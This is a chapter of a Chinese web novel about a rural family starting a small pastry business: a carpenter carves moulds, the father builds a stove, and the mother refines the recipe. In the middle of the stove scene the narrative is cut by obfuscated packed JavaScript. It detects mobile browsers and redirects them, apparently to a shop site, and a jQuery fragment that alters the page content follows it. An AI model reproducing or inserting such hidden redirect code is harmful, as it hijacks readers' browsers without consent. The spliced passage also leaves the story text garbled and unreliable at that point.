回到家中，那巧酥摊子的小小火光，在王佑脑海中反复灼烧，催促着他做点什么。


    吃午饭时，王佑状似无意地提起：“爹，我今天在镇上，看到有个婆婆用木头刻出的小猫小狗模子，压出来的饼子可好看了，还能卖钱呢。”


    王老实正闷头喝粥，没太在意：“那是人家吃饭的手艺。”


    王佑眼睛亮晶晶地看向王老实：“爹，你会刻模子吗？”


    王老实停下筷子，皱着眉看了一眼小儿子：“那模子是那么好刻的？都是老手艺人的吃饭家伙，不外传的。再说了，刻那玩意儿费时费力，有那功夫，不如多编几个筐实在。”


    王佑换了个方式，带着点撒娇和好奇：“爹，你就试试嘛，不用刻小猫小狗，刻个……刻个简单的花儿，或者方方的带花边的格子也行！我想看看木头是怎么变成模子的。”


    他跳下凳子，跑到墙角的柴火堆里，捡了一块大小合适、木质细密的边角料，献宝似的捧到王老实面前，“爹，用这个！”


    王老实被小儿子缠得没法，叹了口气，接过木头和柴刀。


    然而，理想很丰满，现实却很骨感。王老实的手，是抡锄头、握柴刀、编筐篓的手，有力，稳当，擅长的是破坏性的砍劈和规整性的编织，却唯独缺乏精细雕刻所需的耐心、巧劲和审美。他对着那块木头比划了半天，最终下刀，结果刻出来的线条歪歪扭扭，最简单的四瓣花，却成了个不规则的凸起疙瘩，别说压出好看的花纹，能不把面团黏住就算不错了。


    王佑看着父亲手中那惨不忍睹的作品，小脸上的期待一点点垮了下来。心里那刚刚燃起的希望火苗，却被这盆冷水浇得奄奄一息。


    王老实也有些讪讪，把木头和柴刀放下，粗声说：“看吧，爹就不是干这个的料。别瞎琢磨了，好好吃饭。”


    饭桌上的气氛一时有些沉闷。


    王佑低着头，心念急转。模具是巧酥计划的核心，没有合格的模具，一切免谈。难道就这么放弃？他不甘心。大哥科举之路需要钱，而家里给不了。


    一个念头冒了出来，找专业人士。他抬起小脸，目光在父母和姐姐脸上缓缓扫过，声音带着一种前所未有的认真：“爹，娘，大姐，我不是瞎琢磨。”


    三人闻言，都停下动作，看向他。


    王佑组织着语言，尽量用他们能理解的方式说道：“大哥考中了童生，还要考秀才，要花很多钱。周家送书，不是白送的。咱们家不能总指望别人好心，也不能总等着地里那点收成。我想……咱们自己试试，能不能挣点小钱。”


    他指向那块被父亲刻坏的木头：“镇上卖巧酥的婆婆，生意不算特别好，但总有小孩和爹娘愿意买一两个。我在想，要是咱们能做出又好看又好吃的巧酥，不用多，每天卖出去一些，是不是就能给大哥攒下点笔墨钱，或者贴补家用？”


    王老实和李氏都愣住了，半张着嘴，看着幼子。一个五岁的孩子，竟然在琢磨怎么赚钱养家、支持兄长科举？


    王杏更是瞪大了眼睛，手指无意识地蜷紧。


    “可是……爹刻不好模子。”王老实讷讷道，语气里带着一些愧疚和无力。


    “爹，你认识的人多，咱们这十里八乡，有没有人会这门手艺？刻得好的？”


    王老实拧眉思索起来，李氏也帮着想：“好像……是听说刘家村有个刘木匠，早年不光会做家具，还会雕花，给庙里刻过窗棂，手艺是出了名的细。不过年纪大了，早就不怎么做活了。”


    王老实眼睛一亮：“对！刘老哥！他比我大十来岁，早年我给他家帮过工，他这人手巧，人实在。他要是肯出手，刻几个小模子应该不难。”


    但问题请人雕刻，需要工钱，王老实和李氏顿时眉头紧皱。


    王佑看出了父母的为难，他早就想好了说辞：“爹，娘，咱们不用请刘爷爷白干活。咱们可以……用东西换。或者，咱们以后把做出来的巧酥，定期送过去给刘爷爷尝尝？”


    王老实和李氏对视一眼，都看到了对方眼中犹豫。幼子这主意，听着异想天开，可细细一想，又似乎有那么点道理。关键是，幼子这份为家打算的心，沉甸甸地压在他们心上，让他们无法轻易说出‘不行’两个字。


    沉默良久，王老实像是下了很大决心：“成！爹下午就带你去刘家村，找刘老哥问问！成不成，总得试试！”


    李氏也点了点头，摸了摸王佑的头：“你这孩子……”


    王佑心中一松，但还有一个要求：“爹，让大姐也一起去吧。”


    他看向王杏：“大姐见过镇上的巧酥，知道什么样儿好看，也能跟刘爷爷说说。而且……大姐也需要多出去走走。”


    王杏身体一颤，看着弟弟清澈而鼓励的眼神，又看看父母，最终，轻轻“嗯”了一声。


    午后，稍微歇息片刻，王老实便带着王佑和王杏出发了。王佑坚持带上了父亲刻坏的那块木头，还有他偷偷用烧黑的树枝在旧布上画下的几个简单草图。


    刘家村离王家村不远，但也要走小半个时辰。一路上，王老实反复叮嘱一双儿女到了人家要懂礼貌，别乱说话。王佑乖巧应着，王杏则默默点头。


    到了刘家村，打听着找到刘木匠家。那是一个比王家稍大些的院子，堆放着不少木材边角料。一个头发花白、精神却还算矍铄的老者，正坐在院中阴凉处慢悠悠地刨着一根木条。


    “刘老哥！”王老实远远便打招呼，脸上挤出憨厚的笑容。


    刘木匠抬起头，眯着眼看了半天，才认出人来：“哦，是王家村的王老弟啊，稀客稀客，怎么有空过来？”


    王老实带着儿女上前，有些局促地说明了来意。


    刘木匠听完，没立刻答应，他接过那块木头看了看，又抖王佑画着花纹的开旧布，看着上面稚嫩却特征明显的图画，浑浊的老眼里闪过一丝讶异。


    “这是谁画的？”他问，目光扫过王老实，显然不认为是他。


    王老实连忙把王佑往前推了推：“是我家幼子瞎画的。”


    刘木匠看向王佑，他站在那儿，不躲不闪，眼神清亮，虽有些紧张，却无惧色。


    “你想刻这样的模子？”他指着布上的画问。


    王佑点点头，脆生生地回答：“刘爷爷，我想刻出来，让大姐学着做巧酥。镇上婆婆做的花样太简单。我觉得梅花、小鱼和福字，大家会更喜欢。”


    他顿了顿，补充道：“要是刘爷爷能帮我们刻，等我们做出来了，第一个就送给刘爷爷吃！”


    刘木匠沉默了一会儿，拿起那块刻坏的木头，又看了看王佑画的花样，忽然问道：“这福字笔画这么细，压饼子的时候，面容易堵住，不好脱模。小鱼的眼睛，这么小一点，刻起来费劲，也容易坏，你想过没有？”


    王佑一愣，他光想着好看，确实没考虑到工艺实现的难度和实用性。他老实地摇摇头：“没有。刘爷爷，那该怎么办？”


    “要改。笔画要加粗，空隙要留够。小鱼眼睛可以不用单独刻透，留个浅浅的凹坑就行，靠烙的时候上色显出轮廓。梅花花瓣之间的缝隙也要注意……”


    他一边说，一边拿起旁边一块小木片和一把小巧的刻刀。只见他手腕沉稳，刀锋游走，寥寥几下，一个‘福’字轮廓就出现了。


    王佑看得眼睛发亮，他画的是‘效果图’，刘木匠改的是‘工程图’！


    “刘爷爷，您真厉害！”王佑由衷地赞叹。


    刘木匠哼了一声，眼中却闪过一丝得意。他放下刻刀，看了看王老实一家期盼的眼神，最终说道：“行吧。看在你家小子有点想法，王老弟你也是个实在人的份上。木头我这里有边角料，比你这个好。花样我再改改，不要你们钱，也不要你们做出第一个巧酥就送过来。”


    “那怎么行……”王老实急了。


    刘木匠摆摆手：“我年纪大了，吃不动多少，我就一个要求。”


    他看向王佑，目光深邃：“这模子刻好了，你们若真做成了巧酥去卖，不管卖得好坏，逢年过节，记得给我这老头子送两个，让我知道，我这老手艺刻出来的东西，还有人用着，这就行了。”


    王老实眼眶一热，连连点头：“一定！一定！多谢刘老哥！”


    王佑也郑重地点头：“刘爷爷，我们一定记得！”


    王杏也深深鞠了一躬。


    刘木匠挥挥手：“三天后来拿吧，我按着改好的图样刻，保准比镇上的模具更好。”


    走出刘家院子，一家三口觉得脚步都轻快了不少，没想到事情这么顺利。


    回到家，李氏听了经过，对着刘家村方向念叨了好几声“好人”。


    但光有模具远远不够，王佑前世虽不是厨艺高手，但基本的逻辑是懂的。食品要成功，无非是配方、工艺、火候。配方和工艺可以试验改进，但火候的稳定控制，是基础中的基础。


    他看着家里那个主要用于煮猪食和偶尔蒸干粮的土灶，还有那个架在几块砖头上、用来炒菜的小灶眼，摇了摇头。这两个都不行。土灶火势难调，费柴；小灶眼火力集中，容易焦糊。他需要一个火力均匀可控的简易炉子。


    这个，或许父亲能帮忙。


    第二天，王老实下地回来。王佑端了碗水过去，等父亲喝完，才指着院角堆着的一些碎砖和废弃的土坯块，用试探的语气说：“爹，要是咱们自己做巧酥，是不是得有个火力均匀分布的炉子？我看镇上婆婆用的炉子，小小的，火不旺也不弱，正好烙饼。”


    王老实想了想，点点头：“是得有个合用的家伙什儿。”


    他是个行动派，歇够了气，便起身走过去，蹲下身子开始扒拉那些以前修葺院墙剩下的砖块土坯。


    王佑心中一喜，跟过去在旁边看着。王杏连忙去打水和泥。王老实虽不懂幼子说的‘火力均匀分布’，但他对如何让火‘着得好’、‘散得开’有着朴素的实践经验。


    他挑拣着大小合适的砖块，他一边垒，一边涂抹泥浆，一边自言自语似的解释：“底下要空，好进风，柴火才旺；中间要拢着点，火头往上走；上面口不能太大，不然火苗舔着锅边，中间不热……”


    像是在说给儿子听，也像是在理顺自己的思路。


    王佑认真听着，心中暗赞。劳动人民的智慧，往往就体现在这些最朴实无华的细节里。


    炉子的雏形很快出现，是个不到膝盖高、敦实可爱的圆柱形小砖炉。王老实又去柴房翻出一块大小合适的薄石板，磨平了边缘，盖在炉子顶端，作为放置铁锅的稳定台面。


    “成了！”王老实退后两步看了看自己的作品，颇有些满意。


    “爹真厉害！”王佑适时地送上夸赞，小脸上满是崇拜。


    夏日泥浆干的很快，王老实来了兴致抱些细柴来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960767|193289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，李氏则将小灶眼上的那口小铁锅架在石板上。


    细柴点燃，放入炉膛。火苗起初有些飘忽，但随着通风口的空气涌入，很快稳定下来，均匀地舔舐着锅底。王老实又调整了一下柴火的数量和位置，让火焰分布得更匀。


    “杏儿，舀点水来。”王老实吩咐。


    王杏连忙用葫芦瓢舀了小半瓢清水往锅里倒了一点。刺啦一声轻响，水珠在锅底滚动，很快就均匀地铺开，然后冒出细密的气泡，最后沸腾。整个过程，锅底受热看起来相当均匀，没有出现一边滚沸一边还凉的状况。


    王老实黝黑的脸上露出笑容：“这炉子行！火匀，省柴！”


    李氏也高兴：“他爹，你这手艺，赶得上泥瓦匠了！”


    王佑心中大石落地。最关键的火候问题，竟然被父亲用这么简单的方式解决了！果然，家有一老，如有一宝。不对，家有一勤恳智慧的父亲，胜过十个纸上谈兵的他。


    接下来的两天，王家小院弥漫着期待和紧张的忙碌气氛。


    李氏开始琢磨面糊的配方。巧酥，顾名思义，要酥脆。镇上的做法，多用面粉掺少许芝麻和糖稀。但糖稀和芝麻金贵，家里哪舍得多用。李氏尝试着用一点点猪油代替部分糖稀，增加酥脆感；又试着掺入一点点炒香碾碎的黄豆粉代替芝麻，增加香气和口感层次。王杏则帮着和面、试火候，母女俩在新建的小炉子前，烙出了一块又一块试验品。


    有的太硬；有的太软；有的火大焦了；有的夹生……这些试验品都成了他们这两日的食物。但每一次失败，都让她们离成功更近一步。


    终于在第三天早上，李氏烙出了几个色泽金黄，咬下去满口炒豆香的改良巧酥！虽然和镇上的口味不完全一样，但别有风味，更重要的是，成本更低！


    王杏尝了一口，眼睛都亮了：“娘，这个好吃！”


    王佑也掰了一小块放进嘴里，仔细品了品，酥、香、微甜，口感丰富。他用力点头：“嗯！太香了！”


    李氏擦了擦额头的汗，脸上带着成就感的笑容。


    下午，王老实如约带着王佑和王杏再次前往刘家村。这一次，他们带上了几块李氏今早做得最成功的巧酥，用干净荷叶仔细包好。


    刘木匠见到他们，也不多话，从屋里拿出了两个用布包着的东西。打开一看，王佑的眼睛立刻亮了！


    那是两个巴掌大小的长方形木块，木质细腻温润，显然是精心挑选过的。木块的一面，平整地雕刻着凹下去的花纹。一个是线条流畅、饱满圆润的‘福’字，笔画经过优化，既有书法韵味，又保证了足够的空隙，易于脱模；另一个则是两条首尾相连、灵动活泼的小鱼，鱼鳞用细密的斜线浅浅刻出，鱼眼是巧妙地用锥子点出的两个小凹坑，栩栩如生。雕刻的刀工精湛，线条清晰，深浅得当，比王佑画在布上的草图不知高明了多少倍！


    “刘爷爷，您刻得太好了！”王佑小心翼翼地用手指抚过那些光滑的凹槽。


    刘木匠眼中却带着满意，他将模具递给王老实：“试试吧。木料我处理过，不容易裂，也耐烫。用完记得擦干，别泡水。”


    王老实连连道谢，将带来的巧酥奉上：“刘老哥，这是家里试着做的，您尝尝，给提提意见！”


    刘木匠也不客气，拿起一块，掰开看了看断面，又放进嘴里细细咀嚼，半晌，点了点头：“嗯，酥脆，香，甜味淡了些，但正好。你们这手艺，可以了。”


    能得到老手艺人的肯定，王老实和王杏都松了口气，脸上露出笑容。


    刘木匠话锋一转，看向王佑，“花样有了，手艺有了，炉子也有了。接下来，你们打算去哪儿卖？怎么卖？”


    这个问题，像一盆冷水，让沉浸在喜悦中的父女二人瞬间清醒。


    是啊，做好了，卖给谁？怎么卖？会不会没人买？


    王佑早有思考，此刻被问及，便用孩童天真的语气说道：“咱们在村里，或者去附近几个村子的村口。不用摆摊，大姐用个篮子提着卖。”


    他想的是，先从最熟悉、相对安全的环境开始，降低王杏的心理压力，也试探市场反应。


    刘木匠听了，看了王杏一眼，见她虽然紧张，却并没有退缩之意，点了点头：“这法子稳妥。记住，刚开始别贪多，别卖贵，混个脸熟，赚个口碑。”


    他顿了顿，又补充道：“要是真觉得行，以后想去镇上，别去主街跟人抢地盘。找那些小巷子口，或者集市外围，支个小凳就行。镇上的巡街差役，有时候会收地皮钱，不多，一两个铜板，但得知道这个规矩，备着点。”


    这是宝贵的经验之谈，王老实和王杏都郑重记下。王佑更是心中感激，刘木匠这番话，等于给他们这蹒跚学步的小生意，又铺了一小段路。


    带着模具和刘木匠的叮嘱，王家三人满怀希望的踏上了归途。


    回到家，王佑几乎是迫不及待地想用新模具尝试第一次正式制作。王杏将和好的面剂子填入福字模，轻轻一压，磕出来，一个边缘清晰、图案吉祥的面饼胚子便出现在案板上。放入抹了薄油、预热好的小铁锅，小火慢烙。不多时，独特的焦香混合着豆香便弥漫开来。


    烙好的福字巧酥，图案清晰，色泽金黄，比李氏之前徒手捏的形状不知规整好看多少倍！


    李氏高兴得合不拢嘴，连连说：“这模子真是好东西！杏儿，你手真巧！”